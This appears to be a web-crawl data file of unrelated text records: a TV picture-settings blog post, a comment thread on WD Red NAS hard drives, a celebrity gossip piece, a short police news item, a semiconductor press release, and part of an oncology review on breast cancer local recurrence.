text:
If blockbuster movies look like a cheap soap opera, you might need to tweak the settings on your widescreen TV.
I'm reviewing Samsung's flagship F8000 3D LED TV at the moment and there's plenty to write about. It's brimming with bells and whistles, such as 3DTV and internet features, but when it comes to televisions I'm more concern about picture quality than anything else. One of my complaints about this Samsung is that sometimes the picture looks too good. I know that sounds crazy, but it's a common problem with high-end LCD TVs.
The issue is known as the "soap opera" effect, because it makes grand-looking Hollywood movies appear as if they were shot on video tape like a budget soap opera. Everything looks a little too crisp and real, to the point where foreground objects can stand out as if they're not really part of the scene and were added later using CGI trickery.
Not everyone notices the soap opera effect, but if you do it's incredibly annoying because it constantly distracts you from what you're watching. I find that the lighting is a significant factor -- if someone is standing in bright sunlight or is lit by firelight then they're more likely to look like they've been pasted into the scene. Sometimes a high-gloss screen with the colour cranked up too high can emphasise this effect.
The soap opera effect is a common issue with 200 Hz LCD televisions (or 240 Hz if you're in the US). In my experience it's certainly worth paying extra for a 100 Hz refresh rate rather than 50 Hz, as the higher refresh rate helps fast-moving sport look smoother. The leap to 200 Hz is supposedly a further improvement but the trade-off is that it can make the picture look fake. Or simply make it look too good to be real because our brains have been trained to expect movies to look different to TV shows.
The impact of the soap opera effect also varies depending on the content you're watching. Movies tend to be produced in 24 frames per second, while TV shows are produced in 30 or 60 frames per second. It doesn't sound like much of a difference, but you start to notice it once you ramp up the refresh rate on your television. A 200 Hz television creates extra frames to smooth out the action, but it's only taking an educated guess and sometimes the results look worse rather than better. You don't tend to experience this problem with plasma TVs.
If you're experiencing the soap opera effect on your television then you should try dipping into the video settings and dialing down or disabling the Motion Interpolation. Every TV maker has a different name for it; Samsung calls it Motion Plus, Sony calls it MotionFlow and LG calls it TruMotion. If you're watching something and you start to notice the soap opera effect, try changing these settings. Most televisions should remember the individual picture settings for each HDMI input, so you can change it for your Blu-ray player without effecting your PVR, or vice versa.
This Samsung I'm reviewing offers five Motion Plus settings - Off, Clear, Standard (the default), Smooth and Custom. I've found that dialing it down from Standard to Clear helps combat the soap opera effect, but you'll need to play around with these settings on your own television and find what looks best for you. The Custom option even lets you adjust the blur and judder reduction independently.
I've also found that dialing down Motion Plus reduces unintended pixelation in fast-moving scenes. You really notice it when you look at the wheels of a moving bicycle or motorbike -- perhaps while watching the Tour de France or a motorbike chase such as across the rooftops of the Grand Bazaar at the start of Skyfall. You expect the spokes to be a blur but Motion Plus tries to compensate and you end up with spokes which look like a pixelated mess. Turning down the Motion Plus helps reduce this effect.
While you watch the Tour de France, you might also notice that the mountains tend to shimmer and flicker in the long shots from the helicopter. The tiles on the rooftops might do the same. Turning down the Sharpness can help reduce this and make the picture look more realistic.
Everyone has different tastes, but don't be afraid to dip into the video options and find the settings which are right for you. Have you tweaked your new HDTV to improve the picture? What did you change?


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WD Introduces Red: NAS Optimized HDD Lineby Jason Inofuentes on 7/10/2012 8:13 AM EST
39 Comments
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n0b0dykn0ws - Tuesday, July 10, 2012 - linkI can't wait to see benchmarks, especially if there are some for a 5 drive RAID 5 configuration. Reply
Souka - Tuesday, July 10, 2012 - linkand also power consumption/heat.
I have a 2-bay NAS running WD Blue in Raid 1, but they're 250GB so 250GB total space.
with more digital data to backup these days (pictures and family movies)...two 1 to 3TB drives would be nice. :) Reply
brshoemak - Tuesday, July 10, 2012 - linkThis will really undercut prices of their RE lines, which is fine by me - I never really liked the 'TLER tax' on those drives. Point of references, on Newegg the 2TB RE drives are $230 while the Red version is $140 - and hopefully prices will go down some from there. I know there are differences in the drive lines beyond that, but being designed for RAID arrays is really the only thing that matters to me. Reply
Sivar - Tuesday, July 10, 2012 - linkTLER Tax describes it well. The price bump just for the privilege of the hard drive having less aggressive error recovery seems pretty absurd.
For most arrays I usually use consumer drives and, if one is reported as dropped, I RMA it. Let the manufacturer eat the expense for the feature they no longer allow users to disable. Reply
ckevin1 - Tuesday, July 10, 2012 - linkI'm interested in hearing how the TLER works on these. For instance, is it situational based on ATA command, or is it always on?
I'm very tempted to buy this instead of a green for a desktop data drive -- the warranty is appealing, as are the improvements to balancing & reliability. My only concern is data loss from the time-limited error recovery. Back before I knew better, I used to use a WD RE as a standalone drive, and I had TLER-related corruption problems (which is understandable, since it was designed to have a RAID controller performing error recovery for it). The marketing materials say that Red drives are supported in a 1-bay NAS, however, which suggests to me that they shouldn't have the same issues.
Hopefully this feature can be covered in detail with the eventual review! Reply
creed3020 - Tuesday, July 10, 2012 - linkI just bought a Synology DS212j and this product launch has me really interested. I have one WD 500GB RE4 in my NAS currently but my second slot is currently empty. With this new product I am eager to hear the reviews focusing specifically on their behaviour with RAID arrays, performance, temperature, and power draw. WD might have a real winner here. I also love how single they keep their product branding making it easy to understand what each product is for. Reply
DigitalFreak - Tuesday, July 10, 2012 - linkHere's a review of the Red from StorageReview.com
http://www.storagereview.com/western_digital_red_n... Reply
KonradK - Tuesday, July 10, 2012 - linkIf I understand the second paragraph the HDD can issue bad data silently for sake an uniterrupted work.
From what HDD knows a purpose of the data it reads? From what it knows that they belong to a watched movie, and not to the file (or filesystem metadata) where error is not allowable? Reply
JasonInofuentes - Tuesday, July 10, 2012 - linkSo, that component has to be triggered by the application accessing the file, but it is a triggered event. So, a good scenario would be if you had two streams being sent to two different devices while another client is doing a restore from a back-up. The two streams use the ATA streaming command which triggers these different behaviors, including the error tolerance. The restore, though, is being done without that command, so normal error correction is in effect. If you have a single drive in the NAS then you might experience hangs on all three data transactions if the restore experiences an error that requires a few compute cycles. But if one of the video streams experiences an error that can't be resolved in three revolutions of the disk, then the bad data is allowed to slip through and no one gets slowed down.
The frustrating thing about a lot of these standards and commands is that even if the hardware implements the solution, the software has to include it as well. And the other way around, in fact. But, have no doubt, error tolerance is a controlled variable.
Jason Reply
Guspaz - Tuesday, July 10, 2012 - linkI'm a ZFS user, and my drives are in a raidz array. ZFS has per-block checksums, and because I've got redundancy, any failed read can quickly be recovered from (by rebuilding the data from parity and writing the block elsewhere). I would rather have the drive fail very quickly (either by passing on the bad data or presenting a read error) so that my filesystem can recover the bad data and move on.
Chances are, if a hard disk can't read the data after the first few tries, it won't do any good to keep trying over and over again, but that's exactly what consumer drives do: they spend large amounts of time re-reading the same block over and over hoping that the read will be good. Unfortunately, the long period of time spent re-trying (I think it's something like 15+ seconds) causes many RAID systems to think the drive is completely dead (because it stops responding for a long period of time). This behaviour is unacceptable for anything used in RAID. Reply
Metaluna - Tuesday, July 10, 2012 - linkDo you know if ZFS can reconstruct a bad sector on the fly and return it to the application right away, or will it hang for the full 15+ seconds?
It sounds like the only way Red drives can avoid the TLER issue is if you have:
A) An app running server-side that knows when it's trying to stream video or audio
B) The app knows how to issue the ATA streaming commands, and
C) the OS has a driver and RAID controller that both support passing the command through to the array.
The odds of all these conditions occurring on any ZFS-supporting OS any time soon are essentially nil :(. Reply
Solandri - Tuesday, July 10, 2012 - linkIn redundant arrays like RAID-Z (like RAID 5/6) and mirrors, the filesystem just corrects the error from parity as OP said. So it's instantaneous.
On striped arrays you have the option of specifying a zpool should store x copies of each file. While this won't protect against a disk failure, it does protect against sector failures. And like the redundant case, errors are detected and corrected from the alternate copy instantaneously.
You're also supposed to scrub the ZFS drives once a week or so. That double-checks the checksums of all the files and corrects any errors that may have developed from bit rot. So in most cases any errors will be caught before the data is needed that instant. Reply
tuxRoller - Tuesday, July 10, 2012 - linkI know bit rot protection is a big feature of zfs but do you know how infrequently it happens? As I recall, it has two causes: cosmic rays (which are extremely low flux, at least of the type we are talking about), and spontaneous thermodynamic field inversion (from the name alone you can guess how frequently that must happen).
BTW, I'm not trying to slam the feature, or zfs, I just think zfs has other features worth mentioning first. Reply
chadwilson - Monday, July 16, 2012 - linkIt happens more frequently than you think. When you look at the specs on drives, they have not changed much in the past decade, but the density has significantly increased. There was a study done by Google and they showed at 1TB, you would see on average 1 bit flip per drive per year. Not so important for your blu-ray collection. Significantly so for encrypted customer data :) Reply
dealcorn - Saturday, August 18, 2012 - link" This behavior is unacceptable for anything used in RAID."
Sometimes that is true and sometimes it is not. The issue involves conflicting parameters between the RAID controller and the drive. Software RAID such as mdadm and ZSF typically works OK with, say, a SAS/SATA controller configured in IT mode to provide SATA ports because there is no conflict to be had between the drive and the controller. Hardware based RAID solutions commonly cause the problem,
The "OK" part means its works faster if you use the software and CPU to recover the data without waiting for the drive to sort out it's issue or not. Limiting the drive's error recovery tine means better performance under error conditions with software RAID. Reply
mcnabney - Tuesday, July 10, 2012 - linkIn almost every installation a NAS is going to be bottlenecked by the gigE network connection - so any speeds beyond about 120MB/s is going to be complete overkill. I do like the power and connectivity benefits of the device.
Otherwise, the Green drives, which transfer 100-110MB/s on sequential data (media files), are still a better option with a lower price point, low heat, low power consumption, and performance that best fits the limitations of a NAS. Reply
JasonInofuentes - Tuesday, July 10, 2012 - linkI agree that the NAS bottleneck is the gigE network, even if you could squeeze in dual-gigE. We're waiting to see whether there's any value in the added transfer speed in managing the RAID. Certainly if you add a drive or are recovering from a failure the added speed could hlep speed that process along. And, if the speed comes free with the power benefits and NASware, then it certainly won't hurt. Reply
eanazag - Tuesday, July 10, 2012 - linkThere are some NAS devices with 10GigE interfaces or upgrades. Unfortunately, getting a 10 GigE switch is not so cheap, and neither are the interface cards. It can be done if you have the money and need it. Reply
mcnabney - Wednesday, July 11, 2012 - linkA NAS isn't used for high speed. If you need high speed get a thunderbolt-connected SSD array to sit next to your computer. The purpose of a 'typical' NAS is to reliably hold data with speed as a tertiary concern. Want to attract my attention - increase the MTBF. Reply
Solandri - Tuesday, July 10, 2012 - linkBear in mind that the advertised sequential read/write speeds are the max you'll ever see - for data written on the outermost platters. HDDs typically have about a 2:1 ratio in radius between the outermost and innermost platters, so data on the innermost platters will have sequential read/write speeds about half that.
So when you see a green drive advertised as 110 MB/s, it will actually deliver 55-110 MB/s in real-world use. I have 110 MB/s green drives in my NAS. And the average throughput I see writing large files to them is indeed 75-80 MB/s. That's fine for me, but for other applications I can see the extra 35 MB/s (avg) of these red drives to saturate gigabit being important. Reply
Solandri - Tuesday, July 10, 2012 - linkBrain fart. Obviously I meant cylinders, not platters. Reply
mcnabney - Wednesday, July 11, 2012 - linkI wasn't talking advertised. I looked up some actual results on Anandtech. I chose the 2MB file size, which is more realistic for a storage drive. The very low numbers from random 4k transfers just don't need to be done on a NAS. Reply
Sivar - Tuesday, July 10, 2012 - linkGigabit ethernet may be the bottleneck in home movie servers,but not so much in database or multi-users servers. Good luck getting 120MB/sec of random I/O from a 5-unit array of hard drives, especially with RAID5. Reply
tjoynt - Tuesday, July 10, 2012 - link++ this!
If you have a single user with streaming data you'll bottleneck on the gig-e, but add a few heavy users and your platters will slow to a crawl. I've seen half a million $$ disk arrays act slower then my original ipod because of heavy random use. Reply
clarkn0va - Wednesday, July 11, 2012 - linkIt has to be said that in 2012 the owner of such a system better be taking a serious look at solid state storage options. Reply
DigitalFreak - Tuesday, July 10, 2012 - linkAt the 3TB level, the Green is only $10 less than the Red on Newegg. Reply
Rick83 - Wednesday, July 11, 2012 - linkWell, it's useful for getting quick resyncs done.
While my RAID runs at around 200MB/s off of WD green's (seq read), a resync is around 40-50 MB/s. Long resyncs mean longer periods where your system has degraded performance. Reply
jwcalla - Tuesday, July 10, 2012 - linkHopefully they've given up on this 512b emulation stuff so we can finally use these things in ZFS builds without tearing our hair out. Reply
Grebuloner - Tuesday, July 10, 2012 - linkSo with the release of a whole new line, was there any indication that they will be upping the capacities of their Blue and Black lines? They've been stuck at 1 and 2 TB for quite a while now, and if you want 3 TB (or more) of performance storage you have to go with another brand. Reply
JasonInofuentes - Tuesday, July 10, 2012 - linkNo word on whether the higher capacities will be coming to Black and Blue, but we should see some of this tech filter down to the other lines. Just not at the expense of the Red line. They see the Red line as a huge growth market, so I'd suspect the NASware features will remain limited to just these drives. But the balancing mechanics and should make the leap, and we could see more firmware optimizations on a per application basis. Reply
kenthaman - Tuesday, July 10, 2012 - linkfor the full review!! I'd really like to see these drives put up against the Caviar series (Green, Blue, Black) to confirm WD's rating. I'd also like to see how these drives compare to their AV-GP drives. I've looked at these in the past as an option for my NAS and would like to see how these two compare.
Also, if possible could testing be done with a SANS Digital enclosure? They weren't on the tested partner list and I'd like to see if/how well these drives operate in their products.
Cheers! Reply
p05esto - Tuesday, July 10, 2012 - linkWhere are the 4TB hard drives? I've been sitting here waiting for over a year now. Jumping up to 3TB just isn't enough (from 2TB) for all my movies and stuff, I'd rather go right to 4+. The prices are high and there is little selection right now, the feedback on 4TB looks like they are a little unreliable as well. Reply
JasonInofuentes - Tuesday, July 10, 2012 - linkThe top capacity is always a fringe case when it comes to market. The people looking for the absolute largest capacity are likely willing to pay a huge premium for the pleasure. So while their margins stay high, that's partially a result of limiting supply. And there's the risk that they make more of them and they don't move at even a reduced price, which in this period of recovery isn't something they'd want to risk. Just be glad prices are finally starting to drift towards the good old days. Reply
tuxRoller - Tuesday, July 10, 2012 - linkFor all you media archivers, take a look at Snapraid. It's not exactly raid since it's not realtime, but it provides single or double parity protection (with the developer working on triple parity). Amongst its biggest advantages are that each disk is its own file system so you can lose more than your number of parity disks but not lose any data other than that which was on the failer disks (since there is no striping). The other nice thing is that you can use different sized disks and you get the sum of their space rather than the sum of the highest common denominator. Lastly, it's oss:)
Sorry, not trying to sound like an advertisment, but before I discovered snapraid TLER was a concern since I didn't want to purchase new disks for the array. Frankly, an article on it might be interesting. Well, maybe an article comparing the various raid-like solutions such as unraid, flexraid and drobo (I've never used drobo but, iirc, they don't use a standard raid level), as well as snapraid. Reply
tjoynt - Tuesday, July 10, 2012 - linkIs there any indication that these drive will also work better on a BYO NAS? I'm specifically hoping for Areca controller support. Reply
brshoemak - Tuesday, July 10, 2012 - linkThere's really not 'controller support' needed for hard drives that are designed for hardware RAID controllers. I have found that Areca HBAs are pretty flexible when it comes to drives. Again, just be sure that the drives are made for hardware RAID usage where the drive does not spend much time performing its own error correction. Reply
Rumpelstiltstein - Tuesday, July 10, 2012 - linkWould these be better for a RAID 1 mass storage array to complement an SSD? Reply
kextyn - Wednesday, July 11, 2012 - linkIs it just me or do these drives sound a lot like the AV-GP drives? Similar prices, similar features... It seems like they're just making it easier for the masses to understand what the drives are for. Reply
ypsylon - Tuesday, July 17, 2012 - linkHow they cope with RAID environment. Running "Blacks" in RAID setups for few years now (hardware ctrl/TLER enabled) never had any problems with those. Simply refused to pay for RE versions. Price difference was prohibitive for enabled by default TLER function. Reply

subset: commoncrawl


text:
Mean Betty: Stop Stealing the Hoff! Over 550 Cardboard Cutouts Are GONE!
Over 550 cardboard cutouts of David Hasselhoff have disappeared off the face of the earth!
-Mean Betty
This is not a cardboard cut-out. We think.
Kittens, Meanie knows that The Hoff, AKA David Hasselhoff, is huge in Germany. In many circles, especially those devoted to hamburgers, the Hoff is considered a "god." But how do you explain that 550 cardboard cutouts of The Hoof holding a cup of iced coffee have vanished from the face of the earth?
You see my little lambies, David (via a reasonable cardboard facsimilie of him) was promoting Cumberland Farms tasty iced coffee beverage at their mini-marts across New England and in Florida. Gigunda cardboard cutouts of the Baywatch star were either strategically placed in the cold drink aisle, or outside the shop, beckoning people to come in and grab a cold one. The clerk would turn away and then like a bad magic trick, they'd vanish!
Just to be sure, Meanie checked both the pool boy and the butler's suites. They're lovely boys, but they're also pranksters. Lord knows what happens when they get together and sip Manhattans under the moonlight.
Read Mean Betty on Gwyneth Paltrow's Latest, Unnecessarily Expensive Fashion Ventures
Cumberland Farms only made 570 of these paper likenesses of the Hoff; now there are a mere 12 left! When asked about the theft, Hasselhoff told WHDH, "I think it's fantastic and I encourage everybody out there to go get more." Later on in the interview, he said. "I just hope nobody gets in trouble but I encourage everybody to go out and see what they can do about stealing a Hoff — but please have a cup of coffee while doing it."
Think Meanie's making this up? Watch the below video!
Yet no one's been prosecuted for the theft. Could it be that the arresting police officer would be overcome with giggles whilst taking down the thieves?
Or could it be that somehow in some weird subversive way, Cumberland Farms wants the Hoff to be stolen? Hmmm. What Meanie would love to know is who is taking the rest of them? A few were taken by college students — that everyone knows — but who else wants a large photo of the Knight Rider star in their living rooms or bedrooms? Is it the college students' parents? Is it the Hoff himself? Is there a chance that he and KIT are zooming around the country in the dead of night pilfering this likeness of himself from stores?
Or will this be chalked up as a modern urban mystery, much like why Brian Wilson took Sasquatch as his date to the Espys? Inquiring minds want to know, don't you kittens?
Mean Betty


text:
Aurora, Colorado
Education, K-12 Schools
There Will Be More Food Service Jobs Than Manufacturing Jobs by 2020
Gaetan Boutet/Unsplash The latest employment report from the Bureau of Labor Statistics has raised some eyebrows. Economists have noticed that a serio...
PayScale's VIP Blog Roundup: How to Apply to a Job With Bigfoot Requirements
Gratisography/Pexels Ever find a job listing that sounds perfect for you … until you read the qualifications section and discover that they're looking...
Now Accepting Applications for PayScale's 2nd Annual Women in STEM Scholarship
Are you a woman who is college-bound and focused on STEM, or a woman who is currently majoring in science, technology, engineering or math? If so, we ...
Tell us about your current job and your skillset, and we'll let you know how much employers are paying in your area.


text:
A-13-YEAR-OLD girl has been spoken to by police after she hit an Asda worker over the face with a fish.
The girl has has taken part in a community resolution whereby she has sent the victim a letter of apology.
The matter has therefore been resolved and is now closed. There will be no more police involvement.


text: Mentor Graphics Corporation (NASDAQ:MENT) today announced that NXP Semiconductors has become part of the Mentor ® Embedded Nucleus® Innovate Program. Participants in the Nucleus Innovate program now have access to board support packages for NXP Semiconductor microcontroller devices. The Nucleus Innovate Program targets businesses with less than $1M in annual revenue in order to help them kick-start their embedded development projects. Qualified companies can accelerate their embedded system development with software provided at no cost, including the Nucleus® Real Time Operating System (RTOS), the popular Sourcery™ CodeBench GNU toolchain, and now, 32-bit RISC ARM-based board support packages (BSP) for NXP's LPC family of microcontrollers. Board support packages are now available for NXP's LPC 4300 devices with new BSPs soon available for LPC1700 and LPC1800 families. This broad range of NXP microcontrollers, from a global semiconductor leader and top supplier of ARM Cortex-M MCUs, allows users to maximize any embedded applications where speed and computational performance are essential. Applications for NXP32-bit devices include medical, industrial and portable products. When combined with the Nucleus ReadyStart platform, embedded developers have a complete embedded environment to develop their system designs with greater efficiency and productivity. "The Nucleus Innovate Program offers great software value for our smaller customers who desire access to commercial embedded software tools for our LPC family of MCU devices," said Jim Trent, vice president and general manager, NXP microcontroller business line. "The program introduces an exciting model targeted to small companies, startups, and entrepreneurs who want access to the highly deployed Nucleus RTOS and popular Sourcery CodeBench IDE development tools for the NXP LPC family of MCU devices." The Nucleus Innovate Program is ideal for applications where small footprint, high performance, and low power matter. Customers using 32-bit MCUs can apply the Nucleus RTOS and Mentor Embedded tool capabilities with ease and assurance. Easy-to-use demonstrations and configurations help shorten development time for medical, industrial, automotive and consumer applications—from days to minutes. Details on qualification and the software provided through the Nucleus Innovate Program are available at http://www.mentor.com/embedded-software/nucleus/innovate/nxp. "Our Nucleus Innovate Program with NXP Semiconductors demonstrates our shared commitment for embedded product development by targeting start-ups and other small companies who need a competitive edge," said Scot Morrison, general manager of runtime solutions, Mentor Graphics Embedded Software division. "Together with NXP, we expect to stimulate embedded innovation by providing our proven technologies which might otherwise be cost-prohibitive for smaller companies."


text:
Local Recurrence After Mastectomy or Breast-Conserving Surgery and Radiation
Local Recurrence After Mastectomy or Breast-Conserving Surgery and Radiation
Approximately 10% to 15% of patients with stage I/II invasive breast cancer will develop a clinically isolated local recurrence. The standard management of an ipsilateral breast tumor recurrence following breast-conserving surgery and radiation is salvage mastectomy, while local excision and radiation are optimal treatment of a chest wall recurrence following initial mastectomy. Although there are few data regarding the efficacy of systemic therapy after isolated local relapse, chemotherapy and/or hormonal therapy should be considered for most patients because of the high risk of subsequent distant relapse. However, local relapse does not always herald distant metastases. A prolonged interval between initial treatment and local recurrence is the most important prognostic factor for subsequent outcome, and when combined with other favorable characteristics, can predict 5-year survival rates of 70% or higher. [ONCOLOGY 14(11):1561-1581, 2000]
The isolated local recurrence in a patient previously treated for early-stage invasive breast cancer presents a unique challenge to the oncologist. The management of each patient requires a multidisciplinary approach that depends not only on factors specific to the recurrence itself but also on factors related to the original treatment. There is a paucity of clinical information, almost none prospective or randomized, to guide the clinician in choosing the optimal combination and sequence of surgery, radiation, and/or systemic therapy.
The clinical significance of an isolated local recurrence as a first event after treatment of early-stage invasive breast cancer, and its impact on survival, remains controversial. There is a strong association between local recurrence and the appearance of simultaneous or subsequent distant metastases. In many cases, local recurrence may be a manifestation of a more aggressive tumor biology that heralds the presence of distant metastases. Regardless of this association, durable local salvage is important in preventing the consequences of uncontrolled locoregional disease. However, if distant metastases are a common but not universal outcome after clinically isolated local recurrence, there may be a subgroup of patients for whom successful local salvage could result in long-term disease-free and overall survival.
The purpose of this review is to analyze the incidence and risk factors for local recurrence after initial treatment of invasive breast cancer. The risk factors for local recurrence will be compared for stage I/II breast cancer patients treated with breast-conserving surgery and radiation and stage I–IIIA breast cancer patients treated with mastectomy. Multidisciplinary management of an isolated chest wall recurrence after mastectomy and an ipsilateral breast tumor recurrence (IBTR) after breast-conserving surgery and radiation will be discussed separately. Regional recurrences and their management will not be addressed. Outcome and independent prognostic factors after salvage of a local recurrence will be reviewed, with particular attention given to the association between the clinically isolated local recurrence and subsequent distant metastases.
Incidence of Local Recurrence
Approximately 10% to 20% of patients with stage I/II invasive breast cancer will develop an IBTR within 10 years of breast-conserving surgery and radiation.[1-14] However, a similar percentage of all patients (10%–20%) with stage I–IIIA invasive breast cancer will experience chest wall failure, with or without simultaneous regional failure, within 10 years of undergoing mastectomy.[1,3,8,15-19]
Table 1 shows data from six prospective randomized trials comparing breast-conserving surgery and radiation with mastectomy in stage I/II invasive breast cancer. Four of these trials report similar risks of local failure associated with these two methods of treatment for early-stage invasive breast cancer. The National Cancer Institute (NCI) and the European Organization for Research and Treatment of Cancer (EORTC) trials reported significantly higher rates of local failure for patients treated with breast-conserving surgery and radiation, compared to those treated with mastectomy. Inadequate surgery for the primary may have contributed to the higher rate of IBTR in these trials, since only gross removal of the tumor was required. For example, in the breast-conserving surgery arm of the EORTC trial, 81% had T2 tumors, and 48% of all patients had microscopically positive margins.
Factors Associated With Increased Risk of Local Failure
Clinical Risk Factors for Chest Wall Failure
• Young Age—Age groups of 35 years or less and 40 years or less have been associated with an increased risk of locoregional recurrence after mastectomy.[20-22] Lewis and Reinhoff[20] reported a crude local recurrence rate of 67% for patients aged 20 to 29 years and 41% for patients aged 30 to 39 years in an early radical mastectomy series, whereas in women aged ³ 40 years, local failure rates were 21% to 25%. In another radical mastectomy series, Donegan et al[21] observed a similar crude failure rate of 67% for ages 20 to 29 years and 46% for ages 20 to 39 years, compared with < 25% for those ³ 40 years of age.
Mathews et al[22] reported that the crude rate of locoregional failure after mastectomy doubled with younger age; ie, from 6% to 7% for ages > 35 years to 12% for £ 35 years. However, in a more recent report from the same institution, the locoregional failure rate at 5 years was only 7.4% after modified radical mastectomy in 140 patients aged £ 35 years.[23]
Studies using multivariate analysis to account for other known prognostic factors have shown that age may not be an independent predictor of locoregional recurrence.[16, 24-26] Recht et al[26] demonstrated on multivariate analysis that the number of positive axillary nodes and total number of nodes examined—but not age—were significant independent factors for locoregional recurrence. Pisansky et al[16] also used multivariate analysis to show that tumor size, nodal status, and estrogen-receptor (ER) status, not age, were significant independent factors for locoregional recurrence.
• Tumor Size—Patients with tumors ³ 5 cm have a 25% or higher risk of isolated locoregional recurrence after mastectomy with or without adjuvant systemic therapy.[16,18,21,25-30] Tumors < 5 cm are not associated with an increased risk of chest wall recurrence, and there is no significant distinction between T1 or T2 tumors in most studies.[1,18,25,26]
• Gross Multifocal/Multicentric Disease—Multifocal or multicentric disease does not increase the risk of local failure after treatment by mastectomy. In a series of 57 patients with gross multicentric disease treated by mastectomy, Fowble et al [31] reported a low (< 10%) risk of chest wall recurrence in the absence of ³ 4 positive nodes or T3 tumor size.
• Genetic Factors—Whether the presence of a BRCA1 or BRCA2 mutation increases the risk of chest wall failure following mastectomy is presently unknown.
Histopathologic Risk Factors for Chest Wall Failure
• Nodal Status—Patients with 4 or more positive axillary lymph nodes have a 25% or higher risk of developing isolated locoregional recurrence after mastectomy with or without adjuvant systemic therapy.[16,18,21,25-29] There is controversy regarding the risk of chest wall recurrence in the subgroup of patients with 1 to 3 positive nodes, with three randomized trials from the Danish Breast Cancer Cooperative Group (DBCG) and the British Columbia Cancer Agency recently reporting rates of 30% or more.[28,29,32] This rate is significantly higher than the £ 15% risk predicted from historical mastectomy series for patients with 1 to 3 positive nodes.[33] The low number of axillary nodes—medians of 7[28, 29] and 11[32]—in the dissection specimens in these trials may be an important factor in the high risk of locoregional recurrence.
According to a statistical model reported by Iyer et al[34], inaccuracy of the staging of a patient with ³ 4 positive nodes vs 1 to 3 positive nodes increases as fewer total nodes are removed. For example, the model predicts that in order to have a 90% probability of accurately ruling out 4 or more positive nodes, a patient with 1, 2, or 3 positive nodes and a T1 tumor size would need 8, 15, or 20 nodes examined, respectively. Viewed in another way, the odds that a patient with a T1 tumor and 1, 2, or 3 positive nodes but with only 7 nodes examined actually has 4 or more positive nodes are 13%, 55%, or 93%, respectively. The model suggests that these randomized trials found higher rates of locoregional recurrence in patients with 1 to 3 positive nodes because a significant number were understaged by the small median number of nodes removed.
There is also clinical support for this theory in the literature. Benson and Thorogood[35] reported a prospective nonrandomized trial of total mastectomy with either an axillary dissection or axillary sampling. The locoregional recurrence rate at 5 years was 11.7% after axillary dissection, compared with 19.4% in those with only axillary sampling (P = .0019). Recht et al[26] found that a greater number of nodes examined—from 2 to 5, 6 to 10, or ³ 11—was associated with a decreased risk of locoregional failure that was independent of the number of positive nodes on multivariate analysis. In another series of 404 mastectomy patients with T1-2 tumors and 1 to 3 positive nodes, Katz et al[36] reported a locoregional recurrence risk of 24% with less than 10 nodes removed vs 11% for 10 or more nodes removed (P = .02).
These factors may account for the 30% or higher rates of locoregional recurrence in the Danish and British Columbia series that would be more usual for patients with 4 or more positive nodes. The largest reported series of patients with 1 to 3 positive nodes treated with mastectomy and adjuvant systemic chemotherapy has recently been updated by Recht et al.[26] Among 983 patients with T1-2 tumors and 1 to 3 positive nodes, the 10-year cumulative incidence of local failure was only 8%.
• Extracapsular Extension—The presence of extracapsular nodal extension has been associated with an increased risk of locoregional recurrence following mastectomy.[27,36,37] However, the presence of extracapsular nodal extension is a risk factor for chest wall recurrence and is not associated with an increase in the risk of axillary failure.[37,38] Kuske et al[37] reported that in the subgroup of patients with 1 to 3 positive nodes, extracapsular extension was associated with a 17% risk of chest wall failure, compared with a 7% risk among those without extracapsular extension (P = .08). However, nodal recurrence was rare with or without the presence of extracapsular extension. For patients with 4 or more positive nodes, extracapsular extension was not associated with a further increase beyond the already high rate of chest wall failure (22% vs 26%, P = .47). In other studies, extracapsular extension has been significantly related to the number of positive nodes, but was not an independent factor for chest wall or axillary recurrence following mastectomy.[39,40]
• Margin Status—There is a paucity of data regarding the importance of margins after mastectomy for determining the risk of subsequent local relapse. Deep invasion of the pectoral fascia has been associated with an increased risk of local recurrence after mastectomy with or without chemotherapy.[21,41] Freedman et al[42] found a 28% risk of chest wall failure at 8 years after mastectomy with a margin £ 5 mm in women aged 50 years or less, who otherwise were considered at low risk for locoregional recurrence because of a tumor size < 5 cm and 0 to 3 positive nodes.
In a series of node-positive postmenopausal women treated by mastectomy and tamoxifen (Nolvadex), Fisher et al[43] found that a positive margin was a significant predictor of locoregional recurrence on multivariate analysis. However, a close or positive margin after mastectomy has not been associated with a high risk of chest wall failures in all series.[27,44,45] For example, in a series of T1-2 node-negative women treated by mastectomy, Ahlborn et al[45] observed a crude rate of local recurrence of 6% with margins £ 4 mm compared with 3% with margins > 4 mm, but the difference was neither clinically nor statistically significant.
Mentzer et al[44] reported outcomes from a series of patients with stage II disease (two-thirds with positive nodes) who were treated by modified radical mastectomy, with or without systemic therapy. Two-thirds of these patients were assessed using gross margins, which is less accurate than microscopic assessment,[42] and one-quarter also received postmastectomy radiation, which minimizes the rate of chest wall failure with a close or positive margin.[46] The crude local recurrence rate was nearly four times higher in patients with a margin of 5 mm or less compared to patients with margins greater than 5 mm (11% vs 3%), but this finding was not statistically significant.
In another series of 608 patients treated with mastectomy, with or without systemic therapy, and postmastectomy chest wall irradiation in 8%, Jager et al[27] found no statistical difference in locoregional recurrence between 57 patients with close (< 5 mm) or positive margins and 551 patients with negative margins.
• Extensive Intraductal Component—Extensive intraductal component has been defined as intraductal carcinoma occupying more than 25% of the area encompassed by the invasive tumor and extending beyond the infiltrating edge of the tumor into surrounding breast tissue, or present in random sections of grossly unremarkable breast tissue.[47] While an important prognostic factor for patients treated with breast-conserving surgery, the presence of an extensive intraductal component has not been associated with an increase in chest wall failure following mastectomy.[48]
• High Grade—Few studies have addressed the significance of high histologic grade, but this factor has been associated with an increased risk of locoregional recurrence after mastectomy in some series.[49,50] O'Rourke et al[50] reported on a series of 966 patients treated with mastectomy, without radiation or systemic therapy, for breast cancer tumors smaller than 5 cm in diameter. More than half of the patients were node positive. The risk of a chest wall recurrence was 16%, 21%, or 27% for grade I, II, or III tumors, respectively. These differences remained significant on multivariate analysis, as did lymph node status and lymphovascular invasion.
• Lymphovascular Invasion—There is a paucity of data regarding lymphovascular invasion and the subsequent risk of chest wall recurrence after mastectomy. In the aforementioned series of mastectomies for T1-2 tumors investigated by O'Rourke et al,[50] there was a 36% risk of chest wall recurrence with lymphovascular invasion, compared to a 19% risk without lymphovascular invasion. This difference remained significant on multivariate analysis, as did lymph node status and tumor grade.
